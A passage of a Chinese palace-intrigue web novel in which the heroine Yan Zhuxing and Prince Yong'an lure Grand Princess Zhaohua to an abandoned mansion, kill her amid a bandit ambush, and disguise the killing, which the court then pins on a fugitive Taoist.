大长公主府外,一个小乞儿敲响了公主府的角门。
管事的婆子闻声出来,瞧见他那一副衣衫褴褛的模样,脸上顿时流露出嫌恶的表情。
她厉声呵斥道:“敲什么敲!这是你能敲的地方么?肮脏的小东西,滚远些!仔细污了公主府的地界!”
小乞儿压根不在意她的恶言相向。
他怀里揣着沉甸甸的铜钱,拿人钱财就得替人消灾。
他猛地将怀里那封带着点汗渍的信,狠狠往管事婆子怀里一塞,扯着嗓子高声嚷道:“是关于福安郡主的事情!这封信若是不立刻交到大长公主手上,你就死定了!”
大声嚷嚷完,他像只受惊的兔子转身就钻进了巷子深处,眨眼不见了踪影。
那声“福安郡主”如同一个惊雷,轰得管事婆子张妈妈瞬间魂飞魄散。
她捏着那封仿佛烫手的信,手指控制不住地哆嗦了起来。
福安郡主!
那可是大长公主心尖尖上的宝贝,也是如今公主府最大的忌讳。
谁敢提?
张妈妈背后瞬间冒出了冷汗。
她顾不得嫌弃信纸的肮脏,也顾不上细想这小乞儿的来历,脑子里只剩下一个念头:
这封信,必须立刻、马上送到长公主眼前。多耽搁一刻,她这项上人头怕是要搬家了。
张妈妈转身就揣着信往大长公主的院落里跑去,将信交给了大长公主的贴身侍女香芷。
“殿下,先前外院来了个小乞儿,有信要交给您,说是……关于福安郡主的。”香芷忐忑地开口。
朝华大长公主听到这话,手里拿着的花枝瞬间被掐断在手心,黏糊的汁液让她感到一片恶心。
“拿来。”她语气平静,但眼里的愤怒却是怎么也藏不住。
香芷不敢耽搁,赶忙将信递了上来。
朝华大长公主打开一看,上边只有简单的两句话:
“想知道福安郡主临死前说了什么吗?”
“今夜丑时,带上一万两银票,独自来城外废弃李家宅院。”
大长公主瞳孔骤然一缩,怒意顺着脊椎瞬间窜遍全身。
谁那么大胆,竟然敢威胁她?
“好大的胆子。”
她手中的信纸瞬间被揉成了皱巴巴的一团,尤嫌不够,她还恶狠狠的用那封信擦掉了手上的汁液,而后重重砸到了地上。
一旁的香芷瑟瑟发抖。
信上究竟写了什么内容,让殿下这般愤怒。
“信是何人送来的?”朝华大长公主从齿缝中挤出一句话。
“奴婢不知,据张妈妈说,是一个小乞儿,脸脏兮兮的看起来约莫五六岁的年纪。”香芷赶紧回答。
“把他找回来,京中所有符合年纪的乞儿都给我抓过来。城门落下前,我一定要见到他。”朝华大长公主咬牙切齿地下令。
京城中的乞儿少说有几十个,多了可能还有上百个。
那群乞儿狡猾得像泥鳅,东躲西藏的,难找得很。
马上就要关城门了,哪里来得及找到人。
接到命令的下属苦不堪言。
驸马握住了朝华大长公主的手:“朝华,冷静,这一定是圈套,你不能去。”
“本宫知道。”朝华大长公主深吸一口气。
就算是圈套,她也要去。
她太想知道女儿临死前,究竟说了什么。
“可是……”驸马还要劝。
朝华大长公主就不耐烦地打断了他:“放心,本宫不傻。”
“他让我独自去,我就真一个人去?你派人暗中跟着,本宫也会带上暗卫。”
她眼中闪过一抹厉色,冷笑一声。
“想杀本宫?痴心妄想!本宫要让他知道什么叫自作孽,不可活。”
驸马总觉得这封信来得太蹊跷,摆明了就是圈套。
说不定对方压根不知道福安最后说了些什么,就算知道也可能是编出来的。
可如今朝华已经被这封信刺激得快要疯魔了。
他若阻止,定然会影响夫妻二人的感情。
他叹了一口气,点点头:“好,那便依你所言。”
也罢。
对方能有多少人。
朝华带上公主府的暗卫,寻常人等应该伤不了她分毫。
正好可以看看是谁在暗中捣鬼。
“晏逐星呢,她在做什么?”朝华大长公主忽然发问。
负责盯梢的人赶忙站出来回应:“回殿下,今日未时她便悄悄离开了晏宅,去了定远侯府。”
“期间她的丫鬟去了定远侯府邻近的几户人家都送了东西。而后就一直呆在侯府没有出来了。”
驸马和朝华大长公主齐齐皱起了眉头,异口同声道:“送的什么东西?”
第178章 今夜宰肥羊
“回殿下,是些素色香囊。”下属答道。
“说是侯爷新丧,晏大小姐心中悲痛,亲手缝制了安神香囊分送邻里,感念他们往日对侯爷的照拂,也为侯爷祈福。”
朝华大长公主只觉得此事透着说不出来的古怪:“一直没出来?侯府此刻什么情形?”
“侯府在骆氏的打理下,如今如同铁桶一般,和从前四处漏风的情形不大一样了。属下进不去,只听说晏大小姐在祠堂给定远侯诵经祈福。”
下属紧张地回答,生怕这个答案让大长公主不满,触怒了她。
朝华大长公主和驸马对视一眼,难不成这信不是晏逐星让人送来的?那日在场的还有别的人?
也对。
朝华大长公主猛地一凛。
晏逐星一个人怎么可能杀得了福安,她身边可是有四个她精心挑选过的护卫。
一定有人帮她。
朝华大长公主第一时间想到的就是谢翊宁。
她忍不住又问:“永安王那边呢?可有什么异常?”
“没有。永安王还是和往常一样,没什么区别。”另一个下属赶忙站出来回答。
“朝华,要不还是算了吧。这事我总觉得有些古怪。他们俩都没动静,这不正常。”驸马改了主意,一把拉住了朝华大长公主的手。
“不能就这么算了。”朝华大长公主甩开了他的手。
“本宫才不会怕了那种藏头露尾的宵小之辈。”
她脸上的表情变得愈发凌厉。
“朝华……”
驸马心里越来越不安,还想要劝,但是对上朝华大长公主毅然决然的眼神,他便放弃了。
他知道,朝华大长公主一旦做了什么决定就不会轻易动摇。
“兰亭,今夜你在公主府,等我回来。”朝华大长公主定定地看着他,语气难得温柔了几分。
“我去替咱们的女儿报仇,你在府里备着好酒等我回来。”
她伸手抚上驸马鬓边垂下的发丝。
“届时,本宫一定会割下那人的脑袋,拿回来当下酒菜,祭奠福安的在天之灵。”
“好。”驸马最终还是答应了下来。
因为再不出门,城门就要关了,他们就更来不及排查那座荒废的李家宅子里到底有没有陷阱了。
朝华大长公主换上了一身轻便的衣裳,拿上了一万两银票,连侍女也没带,只让车夫驾车带着她出了城。
公主府的暗卫乔装打扮,护在她身后,一前一后地出了城。
朝华大长公主出城的消息,第一时间传到了晏逐星和谢翊宁的耳朵里,两人当下便知,这事已经成了一半。
另一半,还得他们亲自补全。
*
定远侯府祠堂内,烛火昏黄。
九栀身披素白孝衣,深深跪伏在供奉着定远侯牌位的供桌前。
宽大的兜帽几乎将她整张脸都遮盖在阴影里,只露出一点苍白的下颌。
衔蝉和双鲤一左一右,安静地陪跪在她身侧。
一切都在按照计划进行着。
城门关闭前的整个下午,跪在这里的确实是晏逐星本人。
衔蝉挨家挨户给邻近府邸送去素色香囊,言辞恳切:“此乃我家小姐亲手缝制,感念诸位高邻往日对侯爷的照拂,也为侯爷在天之灵祈福。”
这下左邻右舍都知晓晏大小姐今日在侯府守孝了。
有那收了香囊、感念其孝心的人家遣仆妇回礼或亲自登门致哀,踏入祠堂时,看到的正是晏逐星虔诚的身影。
她对着定远侯及列祖列宗的牌位低声诵经,一次次深深叩首。
看到这一幕的邻居都对晏逐星改观了不少。
“看来过往传言并不可信啊,这大小姐这般至纯至孝之人,实属难得。”
“是啊,温氏拐带了她,她却没有因此怨恨定远侯,倒是个恩怨分明的姑娘啊。”
众人议论着离开,晏逐星依旧不动声色地诵经叩拜。
替换发生在一刻钟前。
在林管家的有意掩护下,晏逐星悄悄离开了定远侯府没有被任何人发现。
此刻跪在牌位前用兜帽遮面的是身形与她有几分相似的九栀。
她穿着晏逐星下午穿着的孝衣,维持着相同的跪姿,衔蝉和双鲤依旧在旁,构成一幅大小姐仍在守孝的完整画面。
众人得了当家主母和管家的吩咐,知道大小姐在祠堂为侯爷守孝,无人会去打扰,更不会细看兜帽下的容颜。
只要无人刻意近前辨认,晏逐星便从未离开过。
“九栀姐姐,你不跟着小姐去,真的能行吗?”双鲤忧心忡忡地开口。
不等九栀回应,衔蝉便快速压低声音回应:“有王爷在呢,肯定没问题的。”
“这倒也是。”双鲤长长舒了一口气。
“王爷那么厉害,小姐肯定会平安回来的。”
此时,被丫鬟们惦记着的晏逐星和谢翊宁紧随朝华大长公主的马车去到了城外。
象山上那群匪徒,也已经得了“叛徒”的暗示,知晓今夜丑时在废弃的李宅会有京中富家千金与情郎私奔,带了大量的金银细软。
他们当即决定,大半的人都下来“宰肥羊”。
到时候方便把东西搬回山上去。
朝华大长公主将马车停在了李宅正门前。
眼前是荒废已久的李宅。
残破的门楼在昏昧的天光下投下深重的阴影。
一扇厚重的木门早已不翼而飞,另一扇则斜挂着,要掉不掉,随着夜风来回晃动,发出刺耳的嘎吱声。
院墙多处坍塌,露出内部剥蚀的砖石和半人高的枯草与荆棘。
整座宅邸只剩下断壁残垣的轮廓。
清冷的月光稀薄地铺洒在瓦砾和杂草上,透露着死气沉沉的荒凉。
跟在朝华大长公主身后的暗卫先一步入内查探,确认里边无人也无陷阱后,方才出来回禀。
“殿下,一切正常。”
朝华大长公主半眯着眼眸,脑海中盘旋着各式各样的念头。
难不成,那人真就只是为了钱财而来?
“嗯。”她微微颔首,嘴里吐出了冰冷的一句话。
“本宫要那人有来无回,你明白吧?”
暗卫当即点头应声:“属下明白。”
不一会儿,朝华大长公主带来的六个暗卫以及十个护卫就潜入了李宅隐藏了起来,随时等候她下令。
谢翊宁和晏逐星将她带来的人尽收眼底。
一共十六人,全都是个中高手。
看来朝华大长公主是铁了心想要将今夜出现的人给杀死啊。
“别怕,本王的人也在。”谢翊宁以为她在紧张,低声安慰。
“有王爷在,我有什么好怕的。”晏逐星扭头冲他笑了笑。
朝华大长公主带来的人是有些本事,但永安王手里的更是精锐中的精锐。
今夜他们一定会赢。
如今他们要做的就是耐心等待,等到朝华大长公主的人被消耗了,他们再入场收割他们的性命。
朝华大长公主浑然不觉自己的一举一动都在被人监视着。
她坐在马车里,闭目养神。
直到丑时将近,她方才下马车走进李家宅院。
她站在院落中央,冷冷地盯着院子里的断壁残垣。
这时,不知道从哪个角落里,忽然响起了三声猫叫。
第179章 不是晏逐星
这三声猫叫出现得很突兀,是个人都能听出来不对劲。
朝华大长公主没有迟疑,沉声道:“拿下!”
话音一落,数道黑影刹那间就将猫叫声的来源处团团围住。
躲藏在断墙后的明宵被这突如其来的变故惊得下意识想要逃。
他正要跑,一个暗卫便伸手狠狠扣住他的后脖颈,将他整个人从藏身处硬生生地拽了出来。
整个过程发生在电光火石之间,明宵只觉得眼前一花,再一睁眼,他就已经跪在了朝华大长公主面前。
朝华大长公主死死盯着明宵。
竟然不是晏逐星?
而是一个她从未见过的道士。
“朝华大长公主?”看清她的脸时,明宵大吃一惊。
他等的不是阿猫阿狗么,怎么朝华大长公主会出现在这里?
今日他悄摸去城中打探,瞧见太医去了晏宅,又看到晏逐星的丫鬟满脸忧色,便以为此事成了一大半。
准备夜里接头时仔细询问情况,谁曾想来的竟然不是阿猫阿狗,而是他根本惹不起的朝华大长公主!
朝华大长公主将腰间的剑拔出,直指跪在地上的明宵,语气森然:“你费尽心思让本宫来这李宅,若你待会说不出福安的临终遗言,你就可以去给她陪葬了。”
“殿下饶命啊!”
明宵吓得魂飞魄散,声音都在抖。
“小人冤枉!真不知怎么回事,小人只是来等人的啊!”
福安郡主的临终遗言是什么东西,他怎么会知道。
“等人?”
朝华大长公主凤眸眯起,拔出腰间的剑直指明宵的脖子。
“等什么人?”
察觉到脖子上的寒意,明宵脑袋瞬间清醒了不少。
他竹筒倒豆子般将他如何花钱雇凶,约定在此验收晏逐星尸体并支付尾款的事全抖了出来。
他语速快得像连珠炮,生怕说慢一个字,朝华大长公主的剑就会割掉他的脑袋。
“雇凶杀晏逐星?在此验收?”朝华大长公主重复着这几个字,眼里闪过一丝被愚弄的愤怒。
晏逐星竟然用这样卑劣的诱饵将引她来这荒僻之地,见这么一个连雇杀手都失败了的废物道士?!
“既然你什么都不知道,那便去死吧。”朝华大长公主的声音阴沉得可怕。
察觉到她身上浓重的杀意,明宵惊声尖叫了起来:“殿下等等!小人懂道法,能让您见到福安郡主亲自问……”
他求饶的话还没说完,脑袋就离开了身体,滚落在了地上。
至死,他都没有瞑目。
朝华大长公主低头看自己的裙摆,发现上边竟然溅到了明宵的血,心中怒火翻腾,杀意更甚。
一个贱民的血,竟然弄脏她的裙子?
“处理掉。”
她冷冰冰的下了命令,看也没看地上的尸首一眼,甩掉剑锋上的血珠正欲离开。
就在她转身的那一刹那,宅院那本就摇摇欲坠的破门被猛地撞开。
“哈哈,兄弟们快瞧,果然有肥羊!那小娘们跟野汉子私奔,肯定带了不少细软!”
一个粗嘎的狂笑声响起。
“哇,要发了要发了,干完这一票,老大你可得给咱们买酒喝啊。”
几十条人影笑骂着冲了进来。
为首一个满脸横肉的汉子,举起手中的斧头,指向朝华大长公主和她身边的护卫,高声下令:“男的宰了!女的绑了!财货都是咱们的!”
这突如其来的变故让空气瞬间凝固。
朝华大长公主心中的怒火正无处发泄,此刻竟有不知死活的蠢贼撞上门来。
她怒极反笑:“一群不知死活的东西,都杀了。”
“保护殿下!”
暗卫首领厉喝一声,早已蓄势待发的护卫们如离弦之箭般扑了上去。
听到“殿下”二字,山匪们顿时慌了神。
哪个殿下?
不是说今夜的人是个无权有钱的富家千金么。
领头的山匪正欲询问,但对面的刀剑已经逼了过来,他们不得不应战。
一时间,荒废的庭院变得热闹了起来。
刀斧的劈砍声、匪徒的惨叫声和他们的怒骂声混做了一团。
朝华大长公主被暗卫护在最中央,举着火把冷冷地看着眼前的一幕。
“是朝华大长公主!”
山匪中有人认出了她。
而后,原本被打得畏畏缩缩的山匪听到这个名字,忽然爆发出了全身的力气。
“竟然是她?”
“他娘的,干死她!”
“贱女人,老子跟你拼了。”
朝华大长公主听到这些怒骂声,气得浑身发抖。
活了这么多年,还是头一次有人敢当着她的面说这些污言秽语,骂她是贱女人。
晏逐星从哪里寻来的人,他们怎么会不怕她,反而恨不得她死?
山匪们带着一身蛮力和凶悍,毫无章法地和护卫们缠斗在了一起。
他们打起架来如同乱撞的野猪,不要命了,只顾着冲向朝华大长公主的位置。
护卫们感觉自己砍得刀都要变钝了。
打斗很激烈,结束得也很快。
一群乌合之众自然比不过训练有素的护卫,但蚂蚁再小,多了,也能咬下大象的一块肉。
地面上横七竖八躺满了山匪的尸体,其中还夹杂着几个长公主府护卫。
空气里的血腥味浓得几乎化不开。
朝华大长公主面无表情地看着满地狼藉,眼中的怒火因为这场意外的损失燃烧得更加炽烈。
她的人,本不该死在这种贱民的手里,更不该死在这荒无人烟的废弃宅院中。
一切都是晏逐星的错。
“晏、逐、星。”
她咬牙切齿地从口中吐出了三个字。
这时,一个轻快的声音从院外响了起来。
“嗯,公主殿下,我在呢~”
本该在定远侯府里跪着的晏逐星,笑眯眯地出现了。
第180章 大长公主死
朝华大长公主瞳孔猛地一缩,脸上满是错愕,脱口而出:“你竟然还敢来?”
她完全没想到,晏逐星竟然敢这样大摇大摆地出现在她面前。
她不怕死吗?
“当然要来了,不然你准备好的银票不就便宜别人了么。”晏逐星眨巴着眼,笑容天真无邪。
她的笑容越灿烂,朝华大长公主的怒火就越旺盛。
“那你也得有命花才行。”她磨了磨后槽牙。
待会她要让人活捉晏逐星。
然后用最钝的刀,一刀一刀,将她那让人恶心的脸皮给剥下来。
然后敲断她的每一根骨头,将她锁在暗无天日的水牢里,让毒虫啃噬,让秽物浸泡,日复一日的受尽折磨。
求生不得,求死不能。
敢愚弄她,敢伤她的福安,就要付出代价。
朝华大长公主怒喝出声:“拿下她,本宫有话要问。”
“姑母,动本王的人之前,是不是应该先问问我的意见?”站在后边看了半天戏的谢翊宁,慢悠悠地走了出来。
原本正欲行动的暗卫瞧见谢翊宁,都迟疑了片刻。
这可是永安王啊。
看到谢翊宁,朝华大长公主的心沉了沉。
她知道,今夜不是她死,就是谢翊宁和晏逐星死。
“永安,你疯了吗,带着她来截杀本宫?”她冷冷看向谢翊宁,“本宫可是太后的嫡亲女儿,更是皇上的姐姐。你要为了一个女人对姑母刀剑相向吗?”
晏逐星听到这话,心下一紧,下意识地看向了谢翊宁。
虽然谢翊宁说过会站在她这边替她复仇。
但如今面对面站着,她还是会有些担忧谢翊宁会被朝华大长公主说服。
谢翊宁笑着挑眉:“姑母说的什么话。本王何时带人截杀你了?分明是山匪作乱,姑母不幸殒命。”
朝华大长公主听到这话,便知道此事再无转圜的余地。
正欲下令杀了他们,几十只箭矢却不知道从什么地方射了出来。
朝华大长公主的人猝不及防,顿时又死了好几个。
她神色大变,没想到谢翊宁他们竟然不讲武德搞偷袭。
她愤怒下令:“杀了他们。”
话音落下,余下的暗卫不再犹豫。
谢翊宁带来的人也跳了出来。
双方纠缠到了一块,打得难舍难分。
“先杀晏逐星。”朝华大长公主果断下令。
她看清了今日这出戏。
谢翊宁是为了晏逐星而来。
那么杀了晏逐星,一定比杀了谢翊宁本人更让他痛苦。
听到她的命令,谢翊宁眼眸暗了暗。
“一个不留。”他也沉声吩咐。
今夜不能有任何一个漏网之鱼。
事情要做,就要做干净。
“是。”照夜和停云打头阵。
谢翊宁亲自护着晏逐星。
不曾想,暗卫攻打而来时,晏逐星却一把推开了他。
“王爷当心。”
谢翊宁:“……”
好的,晏逐星不需要他护着。
于是他便也利落地跟着动手了。
他大可以站着不动,但那样太耽误时间。
早点杀完,早点回城。
他记得先前看戏时晏逐星说了,回城时想吃城门口的那家清汤面。
万一耽误了,那可就吃不上了。
他可是听说了,那家面卖得很好,每日只卖一个时辰,过时不候。
看着晏逐星在暗卫手下逃脱了机会,朝华大长公主的脸色越来越难看。
她总算知道那日派去的四个暗卫为何回不来了。
晏逐星比她想象的要更难杀一些。
“走。”眼看她的人落了下风,朝华大长公主知道继续待下去死的只会是她,因而当机立断下令让人掩护她撤退。
“诶,别急啊,你不想知道福安郡主临死前说的最后一句话是什么吗?”晏逐星见她要走,大声喊了起来。
朝华大长公主脚步一顿,回过头来,眼里是滔天的恨意。
“福安说了什么?”
晏逐星没有回答,继续和暗卫缠斗。
杀她的人最多,照夜和停云自觉地挡在了她身前。
“你说话啊,福安临死前究竟说了什么?”朝华大长公主愤怒大吼。
晏逐星充耳不闻,依旧没有回答她。
朝华大长公主的理智告诉她该离开了,但脑海里却一直冒出一个念头:杀了她,一定要杀了她。
“殿下,咱们得走了。”暗卫首领瞧见他们的人只剩两个还在负隅抵抗,若是再耽误下去,就真的走不了了。
“走。”
最终还是理智占了上风,朝华大长公主含恨离开。
她刚翻身上马,身形未稳,箭矢却追着疾风而来,射中了马的臀部。
胯下骏马惊嘶一声,将她狠狠掀下马背。
朝华大长公主重重摔落在地,尘土四溅,那张向来精致冷艳的脸庞瞬间被污泥所沾染。
“殿下!”
暗卫首领惊喝,不顾一切扑来想要相救。
但第二支利箭紧随而来,贯穿了他的胸膛。
他魁梧的身躯猛地一震,眼中神采瞬间熄灭,直挺挺地砸倒在朝华大长公主面前。
四周刀剑交击的厮杀声骤然停歇,死寂如同潮水般涌来。
朝华大长公主伏在冰冷的尘土中,急促地喘息。
她甚至能闻到泥土的腥气和浓重的血腥味。
就在这时,一双绣鞋踏过血污与尘埃,稳稳地停在了她的眼前。
不用抬头,她也知道是晏逐星来了。
她一生中最狼狈的时刻竟然被最恨的人看见了。
“晏逐星,你若敢杀本宫,母后一定不会……”她抬起头,想要放狠话震慑住他们。
但她的威胁还没说完就卡在了喉咙里。
因为晏逐星一剑刺穿了她的心脏。
她没想到,她看不起的下等人,竟然真的敢这么干脆利落地就杀掉她。
“抱歉,大长公主,我不想死,所以只能是你死了。”
晏逐星将剑在她心口拧了一圈,确保她真的死透了,这才蹲下身子去搜她的身。
拿到了朝华大长公主随身携带的一万两银票,晏逐星的脸上总算露出了笑容。
在场所有永安王府的暗卫:“……”
这姑娘是不是太凶残了点。
刚杀完人就数钱,看着怎么跟土匪似的?
“今夜辛苦诸位大哥啦。”
晏逐星借花献佛,直接把这银票当场就分了。
一人二百两。
在场一共十人。
两千两银票瞬间分完。
晏逐星脸上的笑容瞬间就转移到了他们脸上。
一个个都喜气洋洋地冲晏逐星道谢:“多谢大小姐。”
什么土匪,这明明是他们的财神爷!
谢翊宁默默盯着她分钱,没想到,她分了一圈,竟然没给他分。
虽然他不缺这点银子,但他就是很不高兴。
谢翊宁抿着唇,紧紧盯着晏逐星。
第181章 早就帮过她
结果下一刻,晏逐星就转过身来将剩下的八千两银票全都塞到了他手里。
“全给我?”谢翊宁心底陡然升起了难以言说的喜悦。
赏银他拿过无数,但还是头一回那么开心。
“嗯,都给王爷。如果没有王爷帮忙,我今日不可能会成功。”晏逐星郑重点头。
“行了,你自己留着吧,本王不缺这点银子。”谢翊宁笑着将银票塞回了她手里。
周围的暗卫盯着那些银票,在心里尖叫:什么叫这点银子?他们可能这辈子都攒不到这么多银子啊!!!
王爷不缺他们缺,给他们啊!!!
“这太多了……”晏逐星还想推拒。
谢翊宁就说出了一句让她震惊到无法拒绝的话。
“之前给你的一万两银票,你不是也收下了么。这不算什么。”
一万两银票?
晏逐星猛地反应了过来。
“我还以为那是皇后娘娘赏的……”
她呆住了。
原来那么早他就已经在帮她了么。
可那个时候他们分明没见过。
“王爷瞧见您被定远侯他们欺负,特意入宫找皇后娘娘给您撑腰。”一旁的停云赶忙补充。
“定远侯府之前有一次院子着火,就是王爷命我干的。”
晏逐星目瞪口呆。
全然没想到当时瑶华院着火竟然和谢翊宁有关。
“行了,都过去的事了,有什么可说的。”谢翊宁瞥了停云一眼。
停云默默闭上嘴退了回去。
“既然我已经拿过王爷的银票了,那这笔钱就更不能收了。”晏逐星十分坚决。
谢翊宁没想到自己说的话成了反效果。
他眉头微蹙,正欲说什么,一旁的照夜就开口:“王爷,要不您收下吧。大长公主取的银票,在京城里大小姐也花不出去。”
这些银票是朝华大长公主名下开具的,每张都有独一无二的票号。
若晏逐星直接拿出去花,无异于自投罗网。
可银票若是落在他们王爷手里,自然有法子将这些银票的来路抹平,重新当做普通银票使用。
“言之有理。”谢翊宁被他一提醒,也想起了这要紧的事情。
“那银票本王就收下了。”
他将银票重新拿了回来。
决定之后找个机会,重新再给晏逐星送点银子去。
“照夜,停云,你们扫尾。”谢翊宁吩咐下去后,领着晏逐星先去了京郊他的别苑。
照夜与停云应声而动,利落地拔下尸身上的箭矢收好,地上的箭矢也没有遗漏。
而后抄起地上山匪们散落的斧刀,对准箭伤处狠狠劈砍下去,彻底毁去了箭矢留下的痕迹。
每一具尸体他们都仔细检查,确保没有遗漏后,便将证物塞到了明宵的尸体上。
而后方才离开。
*
大长公主府内。
驸马李兰亭一夜未眠。
他躺在床上翻来覆去,心里想着朝华大长公主出城的事情,睡意全无。
“朝华一定不会出事的,她带了府中精锐的暗卫,旁人怎么可能伤得了她。”
“嗯,很快朝华就会回来的,到时候我们可以一起去祭奠福安。”
他忍不住自言自语,唯有这样才能减轻他心里的焦虑。
直到寅时三刻,城门开了,他猛地从床上坐了起来,将管事的叫来:“快,去看看,殿下回城了么。”
“是。”管事应下,当即去查探。
没过多久便急匆匆地返回了公主府。
“驸马爷,城外并无公主车马的痕迹。”
李兰亭的表情瞬间变得有些难看。
他咬牙追问:“其他的人呢?一个都没有回来么?”
管事也意识到了情况不妙,他僵硬地摇了摇头。
李兰亭一颗心沉到了谷底。
他有预感,朝华大长公主出事了。
“备马,我要出城。”
管事不敢耽误,当即按他吩咐去办。
李兰亭率领公主府精锐护卫快马加鞭冲出城门,一路疾驰奔向昨日信上写的那个地点。
越靠近那座荒宅,风里的腥气愈发明显。
李兰亭的心猛地一沉,生出了一股不祥的预感。
他下意识地收紧了握着缰绳的手。
队伍在残破的院门前猛地勒住。
马匹不安地喷着响鼻,原地踏蹄。
李兰亭的视线落在了门口的一个匍匐在地的身影上。
那身影裹着的,正是昨日朝华出府时那身月白色的素衣。
李兰亭只觉得眼前一黑,气血瞬间逆流冲上头顶,耳边嗡鸣一片。身体不受控制地一晃,他竟直接从马鞍上踉跄栽下。
若非亲卫眼疾手快扑过来搀扶,他几乎要一头撞在冰冷的地面上。
“朝华——!!!”
他猛地甩开搀扶的亲卫,几乎是连滚带爬地扑向那个身影。
那张曾经倾国倾城、冷艳逼人的脸,此刻沾满了污秽与干涸的血迹,双目紧闭,了无生气。
真的是她,是他的朝华。
他一句话都说不出来,喉头像是被堵了一层棉花。
他小心翼翼地将朝华大长公主的尸体抱到了怀里,小心翼翼地将脸贴到了她脸上。
朝华最爱美了,如今惨死在这个荒无人烟的地方,落得如此下场,一定很难过。
“别怕,朝华,我带你回家。”
他轻声呢喃。
而后掏出帕子仔细地替她清理脸上的污血和尘土。
公主府的亲卫们大气都不敢喘,全都处于震惊当中。
他们还是不敢相信,朝华大长公主竟然死了?
李兰亭替朝华大长公主清理干净脸颊后,将她的尸身安置在了昨日她出府时乘坐来此的马车上,如同安放一件稀世珍宝。
而后才有空去仔细看现场究竟发生了什么。
目光所及之处,断墙下、焦木旁、血泊中,横七竖八,层层叠叠都是尸体。
看得出来,昨夜这里发生了一场混战。
李兰亭确认昨日朝华大长公主带出来的人全都死在了这里,无一活口。
沉默片刻后,他翻身上马,亲自驾着马车带着朝华大长公主回京。
他没有回公主府。
第182章 案情有反转
天刚破晓,太和殿内,百官肃立,早朝正欲结束。
突然,外边传来了殿前侍卫统领厉声怒喝:“何人胆敢擅闯金銮殿?!”
文武百官下意识地想要回头去看,但又不敢。
这时,另一道愤怒的声音响起,比先前殿前侍卫的声音更高更亮。
“开门!让路!本官要面圣!谁敢阻拦,格杀勿论!”
这下,文武百官们终于忍不住了,他们都想知道谁胆子那么大,竟然敢在皇上面前嚷嚷格杀勿论。
龙椅上的文昭帝抬头看向了殿门。
只见驸马都尉李兰亭双目赤红,身后背着什么东西,一步一步踏入了殿内。
百官们脸上的表情从惊讶到疑惑,等到看清李兰亭身上背着的是什么时,脸上的神色瞬间变得惊恐。
驸马身上背的竟然是朝华大长公主的……遗体?!
李兰亭对那些指向他的刀剑和大臣们异样的目光视若无睹。
他眼里只有为朝华大长公主复仇的决绝。
他背着朝华大长公主走到大殿中央方才缓缓停下。
他将朝华大长公主小心翼翼地平放在地上,“噗通”一声重重跪倒在她冰冷的遗体旁。
而后他用力将额头狠狠磕在坚硬的金砖上。
满朝百官无人敢言。
再抬起头时,在众人惊愕的注视下,李兰亭用尽全身力气发出一声撕心裂肺的嘶吼:
“求皇上为殿下做主!为天家血脉伸冤!严惩凶徒!”
此言一出,满朝哗然。
什么人胆子那么大,竟然敢谋害朝华大长公主?
“皇姐……”
文昭帝没想到和朝华大长公主再次见面竟然会是这样的场景。
上一次见面,还是朝华大长公主入宫让他给福安郡主做主。
如今才过了多久,就变成了驸马来宫里让他给朝华大长公主做主。
“究竟发生了什么事?”文昭帝问出了在场所有人的心声。
李兰亭哽咽着将昨日发生的事情说了出来。
整个朝堂瞬间陷入了前所未有的死一般的寂静。
但这寂静并未持续太久。
户部侍郎站了出来,一脸严肃地开口:“天子脚下,朗朗乾坤,竟有如此恶徒。臣恳请陛下彻查,严惩恶贼,以慰公主殿下在天之灵!”
他乃驸马之父李崇简的学生,今日驸马闯入大殿为朝华大长公主求一个公道,他于情于理都该站出来帮他一把。
紧接着,如同积蓄已久的洪水决堤,整个大殿轰然沸腾。
一个又一个臣子站了出来。
“此乃骇人听闻之至。殿下千金之躯竟遭受此等毒手。此案若不查个水落石出,何以正国法?何以安民心?何以慰宗庙?臣请皇上即刻下旨,严查此事!”
“凶手之猖狂,行径之残忍,人神共愤!驸马爷所见,必是铁证。求皇上下令彻查,务必将真凶及其背后主使连根拔起,处以极刑!”
……
一时间群臣激愤,文昭帝端坐于龙椅之上,脸色阴沉。
朝华大长公主的女儿福安郡主才死了没多久,如今,她竟也惨遭毒手。
这明显是被人蓄意杀害了。
此事必须严查。
“查。”文昭帝沉声下令,声音传遍了整个殿内。
刹那间,所有官员都闭上了嘴。
“即刻起,封锁皇城内外所有要道,严查可疑人等,凡有阻挠办案、销毁证据、通风报信者,格杀勿论!”
“宫中护卫增派三倍人手,无朕手谕,任何人不得靠近公主灵枢半步!”
文昭帝一条条颁布指令,语气不容置疑。
“此案三司会审。宋元柏、申墨澜、纪青明。朕许你们便宜行事,先斩后奏之权。七日之内,给朕查出真相,将真凶捉拿归案。迟一日,提头来见!”
刑部、大理寺、都察院的几位被点名的官员只感觉肩头上沉甸甸的。
完了,这次若是查不出来,他们的脑袋就要彻底和官帽说再见了。
“臣遵旨。”
被点到名的大臣当机立断派人去查。
但这一查,反倒让他们愕然。
事情竟然这么简单?
杀害朝华大长公主的竟然是象山上的那群匪徒,而那群匪徒正是两年前被朝华大长公主府下人逼得被迫放弃良田和家宅的百姓。
这一反转让所有人都没想到。
李兰亭得知这个结果不肯相信,他勃然大怒,闹到了三司会审的衙门上。
“不可能,这一定是有心人故意陷害!他们怎么敢给公主府递信?”
但事实胜于雄辩。
象山上剩下的匪徒,都被抓回来了,他们都对朝华大长公主恨之入骨。
“他们明明收到的消息是富家千金和情郎私奔,这还不能说明有人故意诱导他们去那座宅子截杀殿下吗?”
李兰亭再一次厉声质问。
大理寺卿申墨澜不疾不徐地回答:“此乃道士明宵所为。”
他们在凶案现场,找到了一个不属于象山匪徒的尸体。
经查证,发现那是裴明镜先前办过的“定慈观妖道”一案的在逃人员明宵。
“明宵此人贪财好色,定慈观被毁,他没了银钱来源,便把主意打到了殿下头上。”
“他得知殿下痛失爱女,以此要挟,想要从中骗取钱财。”
“为了摆脱自己的嫌疑,他又找来了象山上的那群匪徒,想要伪造一个谋财害命的假象。”
大理寺卿将他们几人的推断告诉了李兰亭。
“不,不可能!”
李兰亭坚决不信朝华大长公主会死在区区一个妖道手中。
“若是如此,为何朝华身上带着的银票不翼而飞?一定还有人你们没抓到。”他一下就抓住了几人推断中的漏洞。
刑部尚书宋元柏淡定自若地回答:“应当是明宵的同伙带走了。他身上带着假的文书,经查证他入京登记时还有同伙。”
他们几个老油条自然知道这个案子查得这么顺利肯定有猫腻。
但证据摆在眼前,朝华大长公主确实做了许多恶事,死不足惜。
他们也没必要继续深查下去了。
毕竟,皇上只给了他们七日的期限,他们可不想提头去见皇上。
三司会审的结果出来没多久,当年被驱赶而幸免于落草为寇的百姓,怀揣着沉冤旧恨,毅然入京敲响了登闻鼓。
